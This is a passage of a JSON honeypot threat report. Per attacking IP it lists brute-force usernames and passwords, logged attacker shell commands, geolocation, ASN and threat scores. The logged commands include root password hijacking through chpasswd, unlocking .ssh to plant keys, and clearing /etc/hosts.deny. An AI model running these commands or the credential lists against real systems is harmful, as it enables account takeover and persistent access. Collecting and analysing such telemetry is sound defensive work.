      "attack_count": 337,
      "first_seen": "2026-03-06T16:54:54.167Z",
      "last_seen": "2026-03-10T15:10:19.965Z",
      "sessions": 72,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123321",
        "1234",
        "50cent",
        "admin1234",
        "arsenal",
        "ashley",
        "asshole",
        "bailey",
        "baseball",
        "bitch",
        "blink182",
        "buster",
        "charlie",
        "chelsea",
        "eminem",
        "football",
        "fuckyou",
        "guest",
        "hunter",
        "iloveyou"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.file_download",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.4,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 555,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T10:40:50.354000+00:00",
        "last_seen_30d": "2026-03-10T15:11:23.202000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 337,
        "Suricata": 218
      }
    },
    "51.178.114.78": {
      "attack_count": 325,
      "first_seen": "2026-03-05T18:14:17.101Z",
      "last_seen": "2026-03-05T18:34:08.157Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "linux",
        "temp",
        "testmail",
        "abe",
        "kyle",
        "rose",
        "student1",
        "viper"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "12345678",
        "2wsx!QAZ",
        "Abc12345",
        "rose123",
        "student1123!",
        "testmail123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nppejnyp5qNhC\\nppejnyp5qNhC\\n\"|passwd",
        "echo \"123456\\nZqkuGpS7NeGN\\nZqkuGpS7NeGN\\n\"|passwd",
        "echo \"root:kRrmoOI3Em4H\"|chpasswd|bash",
        "echo \"testmail123!\\nNfjco0Wsdm5l\\nNfjco0Wsdm5l\\n\"|passwd",
        "echo -e \"12345678\\nppejnyp5qNhC\\nppejnyp5qNhC\"|passwd|bash",
        "echo -e \"123456\\nZqkuGpS7NeGN\\nZqkuGpS7NeGN\"|passwd|bash",
        "echo -e \"testmail123!\\nNfjco0Wsdm5l\\nNfjco0Wsdm5l\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 365,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T18:14:17.101000+00:00",
        "last_seen_30d": "2026-03-05T18:35:16.913000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 325,
        "Suricata": 40
      }
    },
    "197.5.145.73": {
      "attack_count": 306,
      "first_seen": "2026-03-08T07:26:56.528Z",
      "last_seen": "2026-03-23T02:37:43.963Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "kyle",
        "rd",
        "eddy",
        "ftpuser01",
        "lan",
        "mukesh",
        "player",
        "postgres",
        "purple",
        "samba",
        "socksuser",
        "student10",
        "ttt",
        "vendas",
        "vincent"
      ],
      "passwords_attempted": [
        "password",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "!QAZ2wsx#EDC",
        "12345678",
        "1986123",
        "Az123456@",
        "Salam@123",
        "Socksuser123",
        "asdfasdf",
        "ftpuser01123",
        "player123!",
        "psql",
        "vendas1234",
        "vincent123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\nwWsC6qCJ9h86\\nwWsC6qCJ9h86\\n\"|passwd",
        "echo \"1234\\ndHrbEgDjeOaj\\ndHrbEgDjeOaj\\n\"|passwd",
        "echo \"root:dSIqTHCCY5Og\"|chpasswd|bash",
        "echo -e \"12345\\nwWsC6qCJ9h86\\nwWsC6qCJ9h86\"|passwd|bash",
        "echo -e \"1234\\ndHrbEgDjeOaj\\ndHrbEgDjeOaj\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Tunisia",
      "country_code": "TN",
      "city": null,
      "asn": 327934,
      "as_org": "Tunisie-Telecom",
      "threat_score": 37.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 365,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T07:26:56.528000+00:00",
        "last_seen_30d": "2026-03-23T02:38:47.034000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 306,
        "Suricata": 59
      }
    },
    "197.44.15.210": {
      "attack_count": 299,
      "first_seen": "2026-03-31T03:26:50.134Z",
      "last_seen": "2026-03-31T04:35:55.573Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123asd",
        "123jiayou",
        "1qa@WS3ed",
        "202627",
        "A123456789.",
        "IdcOffer.com",
        "Qwerty!23",
        "Silver",
        "Welcome1236",
        "action",
        "alexandru",
        "asdf2025",
        "conrad2026",
        "its",
        "labas123",
        "mailbox",
        "passw123",
        "poipoi"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:JW3wo2saiF5q\"|chpasswd|bash",
        "echo \"root:dCK3kfmD8uQy\"|chpasswd|bash",
        "echo \"root:u613CFBr8kEe\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Cairo",
      "asn": 8452,
      "as_org": "TE Data",
      "threat_score": 38.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 360,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T03:26:50.134000+00:00",
        "last_seen_30d": "2026-03-31T04:37:00.281000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 299,
        "Suricata": 61
      }
    },
    "103.253.21.190": {
      "attack_count": 259,
      "first_seen": "2026-03-04T02:59:39.111Z",
      "last_seen": "2026-03-04T03:30:21.262Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "147852",
        "1qazxsw@3edc",
        "3.14159",
        "@admin1234",
        "Bingo@1993",
        "Pw123456",
        "Qwe@123456",
        "Support@2023",
        "abc@123",
        "qaz123..",
        "zaqxswcde"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:P7KZTyCVRds1\"|chpasswd|bash",
        "echo \"root:YFoypDhjNsPv\"|chpasswd|bash",
        "echo \"root:johEM650fmcE\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 151863,
      "as_org": "PSG JOINT STOCK COMPANY",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T02:59:39.111000+00:00",
        "last_seen_30d": "2026-03-04T03:31:24.083000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 259,
        "Suricata": 40
      }
    },
    "217.154.35.203": {
      "attack_count": 257,
      "first_seen": "2026-03-09T02:43:31.499Z",
      "last_seen": "2026-03-09T03:03:03.956Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "mgmt",
        "michele",
        "user",
        "hyun",
        "ibrahim",
        "karan",
        "peter",
        "student10",
        "tian",
        "user3"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "12345678",
        "Tian123!",
        "hyunpass",
        "ibrahim1234",
        "karan123",
        "password",
        "student101234",
        "user."
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\n4B9af4S6j7Rw\\n4B9af4S6j7Rw\\n\"|passwd",
        "echo \"123\\ntRurySp6WpNO\\ntRurySp6WpNO\\n\"|passwd",
        "echo \"user.\\nzlvh8dwO5Mcp\\nzlvh8dwO5Mcp\\n\"|passwd",
        "echo -e \"123456\\n4B9af4S6j7Rw\\n4B9af4S6j7Rw\"|passwd|bash",
        "echo -e \"123\\ntRurySp6WpNO\\ntRurySp6WpNO\"|passwd|bash",
        "echo -e \"user.\\nzlvh8dwO5Mcp\\nzlvh8dwO5Mcp\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 293,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T02:43:31.499000+00:00",
        "last_seen_30d": "2026-03-09T03:04:11.661000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 257,
        "Suricata": 36
      }
    },
    "152.32.218.149": {
      "attack_count": 191,
      "first_seen": "2026-03-04T11:04:01.957Z",
      "last_seen": "2026-03-04T11:31:47.121Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Bingo@1993",
        "Dd123456",
        "Qaz@123456",
        "Reza@123",
        "adm12345",
        "admin1234!",
        "admin2022.",
        "esther1",
        "q123456789",
        "raspberry",
        "setup123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:3bTZUQXNW3JB\"|chpasswd|bash",
        "echo \"root:ovxz99ZwFGWy\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T11:04:01.957000+00:00",
        "last_seen_30d": "2026-03-04T11:32:54.212000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 191,
        "Suricata": 36
      }
    },
    "24.232.50.5": {
      "attack_count": 191,
      "first_seen": "2026-03-05T02:00:54.225Z",
      "last_seen": "2026-03-05T02:32:04.426Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Q@W#E4r5t6y",
        "123456abc.",
        "55555555",
        "Admin!@123",
        "Admin$2025",
        "Bingo@1993",
        "Dx@123456",
        "Dy123456789",
        "admin@123456",
        "root.2022",
        "xz123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:8O3QbJaFEEHf\"|chpasswd|bash",
        "echo \"root:uzoU3W4AF90K\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Azul",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 4.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T02:00:54.225000+00:00",
        "last_seen_30d": "2026-03-05T02:33:10.749000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 191,
        "Suricata": 36
      }
    },
    "201.249.87.201": {
      "attack_count": 190,
      "first_seen": "2026-03-04T12:31:08.386Z",
      "last_seen": "2026-03-04T13:16:19.658Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "1029",
        "3245gs5662d34",
        "A12345678!",
        "Abc$123",
        "Bingo@1993",
        "Changeme_123",
        "Dz123456",
        "Zz123456",
        "ansible@123",
        "felix123",
        "hakunamatata",
        "qq"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:34njVR1SJn74\"|chpasswd|bash",
        "echo \"root:MPZMxPB3awf8\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 8048,
      "as_org": "CANTV Servicios, Venezuela",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 231,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T12:31:08.386000+00:00",
        "last_seen_30d": "2026-03-04T13:17:28.709000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 190,
        "Suricata": 41
      }
    },
    "45.174.162.68": {
      "attack_count": 187,
      "first_seen": "2026-03-04T21:01:38.119Z",
      "last_seen": "2026-03-26T11:33:05.252Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "web",
        "bot1",
        "efs",
        "gits",
        "ivan"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "Bingo@1993",
        "Hu123456",
        "efs",
        "ivan",
        "password1",
        "prueba123",
        "test@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\n92hOkH1GPV5v\\n92hOkH1GPV5v\\n\"|passwd",
        "echo \"root:DLItbyvlsfSU\"|chpasswd|bash",
        "echo -e \"1234\\n92hOkH1GPV5v\\n92hOkH1GPV5v\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Bacuri",
      "asn": 268858,
      "as_org": "NANDO NET FIBRA",
      "threat_score": 45.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.4,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 221,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T21:01:38.119000+00:00",
        "last_seen_30d": "2026-03-26T11:34:14.354000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 34
      }
    },
    "45.78.198.167": {
      "attack_count": 179,
      "first_seen": "2026-03-10T07:14:14.400Z",
      "last_seen": "2026-03-10T07:54:46.109Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "mike",
        "root",
        "ubuntu",
        "clawd",
        "cliente",
        "kipt",
        "linux",
        "nora"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "1qaz2wsx+",
        "Cliente123",
        "Qwerty123",
        "mike1234",
        "test123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"mike1234\\nvt5kvhjT0YKN\\nvt5kvhjT0YKN\\n\"|passwd",
        "echo \"test123\\nlgpLigjZ28Nb\\nlgpLigjZ28Nb\\n\"|passwd",
        "echo -e \"mike1234\\nvt5kvhjT0YKN\\nvt5kvhjT0YKN\"|passwd|bash",
        "echo -e \"test123\\nlgpLigjZ28Nb\\nlgpLigjZ28Nb\"|passwd|bash",
        "top",
        "uname",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 10.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 215,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T07:14:14.400000+00:00",
        "last_seen_30d": "2026-03-10T08:01:45.047000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 179,
        "Suricata": 36
      }
    },
    "188.166.125.233": {
      "attack_count": 175,
      "first_seen": "2026-03-12T20:48:28.916Z",
      "last_seen": "2026-03-12T21:19:41.938Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "postgres",
        "apache",
        "deploy",
        "git",
        "guest",
        "hadoop",
        "jira",
        "mysql",
        "nagios",
        "oracle",
        "pul",
        "server",
        "test",
        "test1",
        "test2",
        "test3",
        "testuser",
        "uftp",
        "user"
      ],
      "passwords_attempted": [
        "111111",
        "123",
        "123456",
        "321",
        "apache",
        "deploy",
        "git",
        "guest",
        "hadoop",
        "jira",
        "mysql",
        "nagios",
        "oracle",
        "pass",
        "password",
        "postgres",
        "pul",
        "qwerty",
        "root123",
        "root321"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 251,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
